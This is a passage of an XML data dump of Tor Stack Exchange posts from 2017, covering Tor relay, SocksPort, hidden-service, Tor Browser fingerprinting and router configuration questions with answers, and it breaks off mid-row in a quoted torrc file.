  <row Id="15691" PostTypeId="2" ParentId="15676" CreationDate="2017-09-12T10:13:56.427" Score="1" Body="&lt;p&gt;Well, &lt;em&gt;technically&lt;/em&gt; there's no limit/prohibition/impossibility to run multiple instances of ricochete on teh very same machine. But here's another side - as in general hidden service case - you need to take care of anonymity. Here are some points you &lt;strong&gt;do&lt;/strong&gt; need to consider and - maybe - implement a proper configuration:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Running Tor and hidden service on the same tor process&lt;/em&gt; - even if you'll start a Tor just with a hidden service in it and with ORPort and DirPort reachable(which you should do, if you want a good speed for your messengers) - Tor will give you a warning like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[warn] Tor is currently configured as a relay and a hidden service. That's not very secure: you should probably run your hidden service in a separate Tor process, at least -- see &lt;a href=&quot;https://trac.torproject.org/8742&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/8742&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which is a very good reminder to take an extra care for your anonimity. A solution here can be a separate Tor instances: one acts like a relay and the bridge, &lt;em&gt;but not publishing it's descriptor&lt;/em&gt; and it's bridge functionality is used by a second instance that will be a &quot;hidden service container&quot;. It will use only the first instance as a bridge and have only one purpose - to host the Ricochete's hidden service. I do recommend you to do so - it is quite a simple task and you need to do it only once!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Running multiple hidden services on one Tor instance&lt;/em&gt; - OK, you have utilized the warning in a previous topic, but... There is something more to concern. Tor's command&amp;amp;control protocol can set only an authentication(by password or a cookie file), but it can &lt;strong&gt;not&lt;/strong&gt; distinguish/separate different clients, in another word there's no username+password combos for tor control protocol that can be isolated from each other. Problem is that - if compromised - one Ricochete can list/deanonymize/compromise all the other hidden services. So - my good advice for you here is to make a HS container one per each ricochete and bridge it through the one instance like I've said before. And - of course - use different passwords for it, or - if using a cookie files - distribute them by different directories so no &quot;guessing&quot; will be possible. Like making some mountpoints and mounting &lt;em&gt;tmpfs&lt;/em&gt; just for cookiefile - simple script, no RAM wasted, secure.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you have further questions or need more information - feel free to ask, I'd love to help!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-09-12T10:13:56.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15692" PostTypeId="2" ParentId="15687" CreationDate="2017-09-12T10:20:02.887" Score="2" Body="&lt;p&gt;It's not the torrc process - it's a tor process with command-line arguments too long to fit into one line, so it's split in two. The part &quot;/usr/share/tor/tor-service-defaults-torrc -f /etc/tor/torrc --RunAsDaemon 0&quot; is actually the command line arguments for tor process: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;--defaults-torrc /usr/share/tor/tor-service-defaults-torrc&lt;/em&gt; sets the config file to read the defaults from. It says &quot;not use built-in ones, read them from there&quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;-f /etc/tor/torrc&lt;/em&gt; tells to read the settings from &lt;code&gt;/etc/tor/torrc&lt;/code&gt; file&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;--RunAsDaemon 0&lt;/em&gt; tells tor not to become a daemon process even if in defaults-torrc or torrc config it was told to do so. It's a command line level override&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-09-12T10:20:02.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15694" PostTypeId="2" ParentId="14778" CreationDate="2017-09-12T13:57:59.920" Score="0" Body="&lt;p&gt;Well, first of all - you need to use SocksPort : - for a greater good! Add the explicit IP address - see &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#SocksPort&quot; rel=&quot;nofollow noreferrer&quot;&gt;the offical manual&lt;/a&gt; for further details. This directive with ip+port combo works fine if specified multiple times, but if there's only a port number - it glitches sometimes. It's an old problem, but actually it's not a problem at all: if you're about to open the port for &lt;em&gt;internal&lt;/em&gt; usage in your LAN, for example, or in your VPN segment - you &lt;strong&gt;do&lt;/strong&gt; know IP address, and it's static - so there's no problem to just type it in. But - be warned: ther's no user+pass authentication that will check the passwords, so if you are opening TCP port - it &lt;em&gt;is&lt;/em&gt; open, the authentication is used &lt;strong&gt;only to separate the data streams&lt;/strong&gt;, no login credentials are actually checked against any backend! Using different login+pass combos for your app has it's uses - it will separate the data streams. But if you need to use a SocksPort &lt;em&gt;without&lt;/em&gt; degrading a security - here what you can do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you have all the apps on the single computer - just use &lt;code&gt;SocksPort 127.0.0.1:9050&lt;/code&gt; and be about your business. It will not ruin the security - because of the fact that all the apps are on one machine, they are supposed to be already secured and do not need a deeper/stronger isolation from each other.&lt;/li&gt;&#xA;&lt;li&gt;If you have your apps on different VM's or on different hosts in LAN - opening &lt;em&gt;just&lt;/em&gt; a socksport will degrade securuty. Use &lt;code&gt;socat&lt;/code&gt; or similar program on both sides to &quot;extend&quot; the filesystem socket through network, i.e. on tor side it works like sock-&gt;tcp**+authorization/access-control** - and on the program hosting hosts/VMs it's vice versa&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Feel free to ask if you have any further questions!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-09-12T13:57:59.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15695" PostTypeId="2" ParentId="15683" CreationDate="2017-09-12T14:11:30.150" Score="1" Body="&lt;p&gt;OK, here is the checklist to solve your problem:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;first&lt;/strong&gt;, use ORPort 443 and DirPort 80 - will work a way better.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;second&lt;/strong&gt; You need to log in into your router's web interface and see the IP address it receives &lt;em&gt;from your ISP&lt;/em&gt; side. If it's a private one - you need to call your ISP to obtain a &quot;public ip&quot; and, if possible, a static one.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Last step&lt;/strong&gt; - set your Tor's machine LAN ip static and forward the ports from your router's web interface to that IP address of LAN machine.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's it! If you need help - just drop a line, I'll be glad to help you!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-09-12T14:11:30.150" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15698" PostTypeId="2" ParentId="15687" CreationDate="2017-09-13T04:36:46.510" Score="2" Body="&lt;p&gt;The tor process is automatically started by the system service manager by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not a relay by default, only a client, so you are not relaying other peoples traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To temporarily stop the service issue the command &lt;code&gt;sudo service tor stop&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To &lt;a href=&quot;https://askubuntu.com/questions/19320/how-to-enable-or-disable-services&quot;&gt;disable the service&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you're running Ubuntu &gt;= 15.04 issue the command: &lt;code&gt;sudo systemctl disable tor&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;If you're running an older version of Ubuntu issue the command: &lt;code&gt;echo manual | sudo tee /etc/init/tor.override&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When it's not running, to manually start the service issue the command &lt;code&gt;sudo service tor start&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-09-13T04:36:46.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15702" PostTypeId="1" CreationDate="2017-09-13T12:14:21.973" Score="2" ViewCount="425" Body="&lt;p&gt;i can use tor at home with no difficulty,but i need use it at work too.&#xA;my PC at work is a domain-joined PC and i have no right to change any thing like firewall. the PC is configured to connect to internet via a proxy server.&#xA;i install tor and configured it with all five (obsf4, obsf3,....) transport types but none of them worked!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i tried to use custom bridges s(end get bridges request to bridges@bridges.torproject.org they gave me two bridges and copied them in custom bridges ) but not been able to connect again!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any idea how can i solve the problem?&#xA;can tor be used in a restricted PC with no firewall configuration assess?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;by the way here is the log:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2017/09/13 15:23:13 ب.ظ.500 [WARN] The https proxy sent back an unexpected status code 502 (&quot;Proxy Error ( The specified Secure Sockets Layer (SSL) port is not allowed. Forefront TMG is not configured to allow SSL requests from this port. Most Web browsers use port 443 for SSL requests.  )&quot;). Closing. &lt;/li&gt;&#xA;&lt;li&gt;2017/09/13 15:23:13 ب.ظ.500 [WARN] Proxy Client: unable to connect to 198.23.251.193:43019 &lt;/li&gt;&#xA;&lt;li&gt;2017/09/13 15:38:58 ب.ظ.500 [WARN] The https proxy sent back an unexpected status code 502 (&quot;Proxy Error ( The specified Secure Sockets Layer (SSL) port is not allowed. Forefront TMG is not configured to allow SSL requests from this port. Most Web browsers use port 443 for SSL requests.  )&quot;). Closing. &lt;/li&gt;&#xA;&lt;li&gt;2017/09/13 15:38:58 ب.ظ.500 [WARN] Proxy Client: unable to connect to 194.135.89.229:7182 &lt;/li&gt;&#xA;&lt;li&gt;2017/09/13 15:47:41 ب.ظ.500 [WARN] The https proxy sent back an unexpected status code 407 (&quot;Proxy Authentication Required ( Forefront TMG requires authorization to fulfill the request. Access to the Web Proxy filter is denied.  )&quot;). Closing. &lt;/li&gt;&#xA;&lt;li&gt;2017/09/13 15:47:41 ب.ظ.500 [WARN] Proxy Client: unable to connect to 82.211.2.240:443 &lt;/li&gt;&#xA;&lt;li&gt;2017/09/13 16:07:02 ب.ظ.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &lt;/li&gt;&#xA;&lt;li&gt;2017/09/13 16:07:02 ب.ظ.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/li&gt;&#xA;&lt;li&gt;2017/09/13 16:07:02 ب.ظ.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="19104" LastActivityDate="2019-05-08T05:02:20.453" Title="How to Configure a tor on a domain-joined Windows at work" Tags="|windows|bridge|proxy|log|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15704" PostTypeId="1" AcceptedAnswerId="15716" CreationDate="2017-09-13T15:11:04.603" Score="1" ViewCount="1522" Body="&lt;p&gt;I’m a newcomer to Tor, so please take that into account. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if it is useful to torify (actually, torsocks) programs such as msmtp and offlineimap, which I use to receive and send emails (I use mutt as MUA). The email account is a regular one (no .onion kind of thing), hosted by a big evil company I have no control over (say, for the sake of the argument, a gmail account).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I understand it, the interest lies in preventing people (say, the sysadmin of the wifi network or my Internet service provider) from knowing I’m downloading and uploading emails. But maybe I get something wrong…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Useful? Harmful? Thanks in advance for your explanations.&lt;/p&gt;&#xA;" OwnerUserId="19105" LastActivityDate="2017-09-14T22:14:27.767" Title="Torified IMAP and SMTP" Tags="|torsocks|email|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15705" PostTypeId="1" AcceptedAnswerId="15715" CreationDate="2017-09-14T07:46:35.973" Score="1" ViewCount="4374" Body="&lt;p&gt;When opening Tor Browser on a laptop, the screen size reported on &lt;a href=&quot;https://panopticlick.eff.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;panopticlick&lt;/a&gt; is 1000x700x24 with a fingerprint of 1 in 15,000, which is not bad, I guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Re-opening Tor Browser with an external monitor attached, the window size is visibly different and the reported screen size on panopticlick is accordingly different: the fingerprint becomes 1 in 100,000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why doesn't TorBrowser use the same screen size everywhere? It seems that using an external monitor can make one stand out among Tor Browser users.&lt;/p&gt;&#xA;" OwnerUserId="19097" LastEditorUserId="19097" LastEditDate="2019-01-28T15:25:54.437" LastActivityDate="2019-01-29T06:32:34.057" Title="Why does Tor Browser screen size vary across monitors?" Tags="|tor-browser-bundle|fingerprinting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15707" PostTypeId="1" CreationDate="2017-09-14T10:32:02.237" Score="1" ViewCount="3467" Body="&lt;p&gt;I'm interested in using the Tor browser with a Trezor.  Trezor uses something called the &quot;Trezor Bridge&quot; to communicate between the browser and the device.  (It is also called trezord, and is found here: &lt;a href=&quot;https://github.com/trezor/trezord&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/trezor/trezord&lt;/a&gt;).  The Trezor Bridge, once installed, is accessed on one's computer via the following address:&#xA;&lt;a href=&quot;https://localback.net:21324/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://localback.net:21324/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This address is readily accessible from an ordinary web browser, but from within the Tor browser, this address appears to be completely blocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried going into the Network settings and adding 127.0.0.1 to the &quot;No proxy for&quot; list of addresses, but this had no effect.  I then tried adding localback.net to the &quot;No proxy for&quot; list of addresses, and the only thing that changed is that the error message when trying to reach &lt;a href=&quot;https://localback.net:21324&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://localback.net:21324&lt;/a&gt; changed from &quot;Unable to connect&quot; to &quot;Unable to find the proxy server&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the correct way to allow the Tor browser to communicate with the device via this address/port?&lt;/p&gt;&#xA;" OwnerUserId="19116" LastEditorUserId="-1" LastEditDate="2017-09-19T02:51:26.517" LastActivityDate="2018-02-16T04:33:22.300" Title="How to allow Tor browser to access local port?" Tags="|configuration|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15708" PostTypeId="1" CreationDate="2017-09-14T16:25:52.223" Score="0" ViewCount="2552" Body="&lt;p&gt;I have a WNR3500Lv2 router where I installed the Tomato driver. The TOR configuration window looks like this in the router GUI:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TVUDN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TVUDN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem that I don't want to enable TOR for anything else in my home network, just only when I making requests through it's proxy. How can I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to check URLs through TOR:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ curl --insecure -v --socks5 127.0.0.1:9050 https://check.torproject.org/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However this command returning this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*   Trying 127.0.0.1...&#xA;* TCP_NODELAY set&#xA;* connect to 127.0.0.1 port 9050 failed: Connection refused&#xA;* Failed to connect to 127.0.0.1 port 9050: Connection refused&#xA;* Closing connection 0&#xA;curl: (7) Failed to connect to 127.0.0.1 port 9050: Connection refused&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I running the &lt;code&gt;tor&lt;/code&gt; command on the router, this is what I got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sep 14 18:49:31.283 [notice] Tor 0.2.9.10 (git-1f6c8eda0073f464) running on Linux with Libevent 2.0.22-stable, OpenSSL 1.0.2k and Zlib 1.2.11.&#xA;Sep 14 18:49:31.284 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Sep 14 18:49:31.285 [notice] Configuration file &quot;/usr/etc/tor/torrc&quot; not present, using reasonable defaults.&#xA;Sep 14 18:49:31.332 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Sep 14 18:49:31.333 [warn] Could not bind to 127.0.0.1:9050: Address already in use. Is Tor already running?&#xA;Sep 14 18:49:31.334 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Sep 14 18:49:31.335 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm including the TOR config file from the router:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9050&#xA;AllowUnverifiedNodes middle,rendezvous&#xA;RunAsDaemon 1&#xA;Log notice syslog&#xA;DataDirectory /tmp/tor&#xA;TransPort 192.168.2.1:9040&#xA;DNSPort 192.168.2.1:9053&#xA;User nobody&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15106" LastEditorUserId="15106" LastEditDate="2017-09-14T20:15:02.400" LastActivityDate="2017-09-14T20:23:38.597" Title="Enbale TOR only for SOCKS5 communication on a Tomato enabled router" Tags="|configuration|socks|torsocks|routers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15711" PostTypeId="2" ParentId="15707" CreationDate="2017-09-14T19:36:13.007" Score="2" Body="&lt;p&gt;There is no &quot;correct&quot; way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's happening is that Tor Browser is configured to use Tor for all outbound connections, when you try to visit 127.0.0.1 on your browser, you try to negotiate with Tor to ask it to make a connection over the Tor network to 127.0.0.1, this obviously makes no sense and is therefor rejected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option &lt;em&gt;might&lt;/em&gt; be to set an exception in the proxy settings. Edit -&gt; Preferences -&gt; Advanced -&gt; Network -&gt; Connection -&gt; Settings, and add &lt;code&gt;127.0.0.1&lt;/code&gt; to the 'No Proxy For' list. &lt;em&gt;However&lt;/em&gt;, this opens you up to attacks where a website might try to access local services to get them to make connections outside of the Tor network or to leak identifying information, which is why such exceptions are not set and it is recommended not to do this.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-09-14T19:36:13.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15712" PostTypeId="2" ParentId="15702" CreationDate="2017-09-14T19:42:57.900" Score="1" Body="&lt;p&gt;It looks like you need to configure proxy credentials to access the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Onion/Tor Button -&gt; Network Settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tick '&lt;em&gt;This computer needs to use a local proxy to access the Internet&lt;/em&gt;' and configure the proxy type, address, port, username and password (all of this information is the same as you would use to access the internet normally).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-09-14T19:42:57.900" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15713" PostTypeId="2" ParentId="15708" CreationDate="2017-09-14T19:54:32.877" Score="1" Body="&lt;p&gt;Well, you're seem to querying the wrong host - &lt;code&gt;127.0.0.1&lt;/code&gt; is a localhost, and you need to query your router's IP - pehaps a copy-paste mistake? And - check the Tor config - SocksPort should be not bound to localhost only - if it is, just add one more line with your router's LAN IP and port 9050&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-09-14T19:54:32.877" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15714" PostTypeId="2" ParentId="15708" CreationDate="2017-09-14T20:23:38.597" Score="0" Body="&lt;p&gt;You want to change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 192.168.2.1:9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then from your networked computer run:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;curl -x socks5h://192.168.2.1:9050/ https://check.torproject.org/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will use the &lt;code&gt;SOCKSPort&lt;/code&gt; on the router. Note that all Tor traffic will not be protected with any cryptography on the network, so anyone who can intercept traffic between you and the router (likely anyone on the local network, or anyone within range of the wireless) will be able to see what you're using Tor for.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-09-14T20:23:38.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15715" PostTypeId="2" ParentId="15705" CreationDate="2017-09-14T20:34:54.930" Score="3" Body="&lt;p&gt;Screen sizes differ between laptops, a hard set screensize would result on a browser that was too small for users on one system or too large to even display on other systems.&lt;/p&gt;&#xA;&lt;p&gt;Instead it picks a size that is some multiple of 200x100, with 1000x1000 as the maximum size, and uses that to pick an appropriate size to make the window, this provides a work around solution that works for all screen sizes and doesn't reveal specifics of the hardware/software setup that it is running on.&lt;/p&gt;&#xA;&lt;p&gt;For more information, see &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#fingerprinting-defenses&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Design and Implementation of the Tor Browser&lt;/a&gt;, point 7 of the Fingerprinting Defenses says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Monitor, Widget, and OS Desktop Resolution&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Both CSS and JavaScript have access to a lot of information about the screen resolution, usable desktop size, OS widget size, toolbar size, title bar size, and OS desktop widget sizing information that are not at all relevant to rendering and serve only to provide information for fingerprinting. Since many aspects of desktop widget positioning and size are user configurable, these properties yield customized information about the computer, even beyond the monitor size.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Design Goal:&lt;/strong&gt; Our design goal here is to reduce the resolution information down to the bare minimum required for properly rendering inside a content window. We intend to report all rendering information correctly with respect to the size and properties of the content window, but report an effective size of 0 for all border material, and also report that the desktop is only as big as the inner content window. Additionally, new browser windows are sized such that their content windows are one of a few fixed sizes based on the user's desktop resolution. In addition, to further reduce resolution-based fingerprinting, we are investigating zoom/viewport-based mechanisms that might allow us to always report the same desktop resolution regardless of the actual size of the content window, and simply scale to make up the difference. As an alternative to zoom-based solutions we are testing a different approach in our alpha series that tries to round the browser window at all times to a multiple 200x100 pixels. Regardless which solution we finally pick, until it will be available the user should also be informed that maximizing their windows can lead to fingerprintability under the current scheme.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Implementation Status:&lt;/strong&gt; We automatically resize new browser windows to a 200x100 pixel multiple based on desktop resolution which is provided by a Firefox patch. To minimize the effect of the long tail of large monitor sizes, we also cap the window size at 1000 pixels in each direction. In addition to that we set privacy.resistFingerprinting to true to use the client content window size for window.screen, and to report a window.devicePixelRatio of 1.0. Similarly, we use that preference to return content window relative points for DOM events. We also force popups to open in new tabs (via &lt;code&gt;browser.link.open_newwindow.restriction&lt;/code&gt;), to avoid full-screen popups inferring information about the browser resolution. In addition, we prevent auto-maximizing on browser start, and inform users that maximized windows are detrimental to privacy in this mode.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2017-09-14T21:49:25.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15716" PostTypeId="2" ParentId="15704" CreationDate="2017-09-14T21:32:23.800" Score="0" Body="&lt;p&gt;The reason you want to have your smtp and imap connections over Tor is just the same as with using TorBrowser, but may vary from user to user. I'd say you &lt;strong&gt;prevent your local network and ISP to know&lt;/strong&gt; what you are doing; you &lt;strong&gt;protect your local surrounding&lt;/strong&gt; that way too, if you will.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you get &lt;strong&gt;location-privacy regarding your remote email provider&lt;/strong&gt;. That doesn't have to know where you are connecting from at all. Why tell them when you are home or using the phone or whatever?&lt;/p&gt;&#xA;" OwnerUserId="19124" LastActivityDate="2017-09-14T21:32:23.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15717" PostTypeId="2" ParentId="15704" CreationDate="2017-09-14T22:14:27.767" Score="0" Body="&lt;p&gt;Well, your local ISP or sysadmin won't know what is done from &lt;em&gt;this particular connection&lt;/em&gt;, but if the email provider authenicates you - he knows that it's you who downloading the stuff&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-09-14T22:14:27.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15723" PostTypeId="2" ParentId="15417" CreationDate="2017-09-15T17:06:11.887" Score="1" Body="&lt;p&gt;I simply use the one the ISP that connects my relay is providing. It's surely not bad to have diversity in resolvers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are discussions about advertising a specific DNS resolver on the tor-relays list like &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-relays/2017-September/012940.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lists.torproject.org/pipermail/tor-relays/2017-September/012940.html&lt;/a&gt; or &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-relays/2017-September/thread.html#12954&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lists.torproject.org/pipermail/tor-relays/2017-September/thread.html#12954&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end you want diversity. Just like diversity in users helps, so does in relays. Of course exit relays should either have an uncensored connection or explicitely reject the censored IPs in their exit policy.&lt;/p&gt;&#xA;" OwnerUserId="19124" LastActivityDate="2017-09-15T17:06:11.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15724" PostTypeId="2" ParentId="15435" CreationDate="2017-09-15T18:13:54.497" Score="1" Body="&lt;p&gt;As boring as it may sound, I think the most you can do is to use as much default torrc settings as possible. Don't manually pick relays for example. Oh, and use TorBrowser instead of setting up another browser to use Tor. If you can, use Tails.&lt;/p&gt;&#xA;" OwnerUserId="19124" LastActivityDate="2017-09-15T18:13:54.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15725" PostTypeId="1" CreationDate="2017-09-15T18:39:33.793" Score="0" ViewCount="1735" Body="&lt;p&gt;I run a obfs4 bridge on my Raspberry Pi3 and every few hours I get this warning from Tor (I can read it from my notice.log file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sep 15 19:51:29.000 [warn] Your Guard TokenBlack ($91516595837183D9ECD1318D00723A8676F4731C) is failing a very large amount of circuits. Most likely this means the Tor network is overloaded, but it could also mean an attack against you or potentially the guard itself. Success counts are 83/180. Use counts are 22/22. 137 circuits completed, 0 were unusable, 54 collapsed, and 12 timed out. For reference, your timeout cutoff is 60 seconds.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my relay related torrc section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;################ This section is just for relays #####################&#xA;#&#xA;## See https://www.torproject.org/docs/tor-doc-relay for details.&#xA;&#xA;## Required: what port to advertise for incoming Tor connections.&#xA;ORPort 9001&#xA;## If you want to listen on a port other than the one advertised in&#xA;## ORPort (e.g. to advertise 443 but bind to 9090), you can do it as&#xA;## follows.  You'll need to do ipchains or other port forwarding&#xA;## yourself to make this work.&#xA;#ORPort 443 NoListen&#xA;#ORPort 127.0.0.1:9090 NoAdvertise&#xA;&#xA;## The IP address or full DNS name for incoming connections to your&#xA;## relay. Leave commented out and Tor will guess.&#xA;#Address example.com&#xA;&#xA;## If you have multiple network interfaces, you can specify one for&#xA;## outgoing traffic to use.&#xA;# OutboundBindAddress 10.0.0.5&#xA;&#xA;## A handle for your relay, so people don't have to refer to it by key.&#xA;Nickname name&#xA;&#xA;## Define these to limit how much relayed traffic you will allow. Your&#xA;## own traffic is still unthrottled. Note that RelayBandwidthRate must&#xA;## be at least 20 KB.&#xA;## Note that units for these config options are bytes per second, not bits&#xA;## per second, and that prefixes are binary prefixes, i.e. 2^10, 2^20, etc.&#xA;RelayBandwidthRate 40 KB  # Throttle traffic to 100KB/s (800Kbps)&#xA;RelayBandwidthBurst 50 KB # But allow bursts up to 200KB/s (1600Kbps)&#xA;&#xA;## Use these to restrict the maximum traffic per day, week, or month.&#xA;## Note that this threshold applies separately to sent and received bytes,&#xA;## not to their sum: setting &quot;4 GB&quot; may allow up to 8 GB total before&#xA;## hibernating.&#xA;##&#xA;## Set a maximum of 4 gigabytes each way per period.&#xA;#AccountingMax 4 GB&#xA;## Each period starts daily at midnight (AccountingMax is per day)&#xA;#AccountingStart day 00:00&#xA;## Each period starts on the 3rd of the month at 15:00 (AccountingMax&#xA;## is per month)&#xA;#AccountingStart month 3 15:00&#xA;&#xA;## Administrative contact information for this relay or bridge. This line&#xA;## can be used to contact you if your relay or bridge is misconfigured or&#xA;## something else goes wrong. Note that we archive and publish all&#xA;## descriptors containing these lines and that Google indexes them, so&#xA;## spammers might also collect them. You may want to obscure the 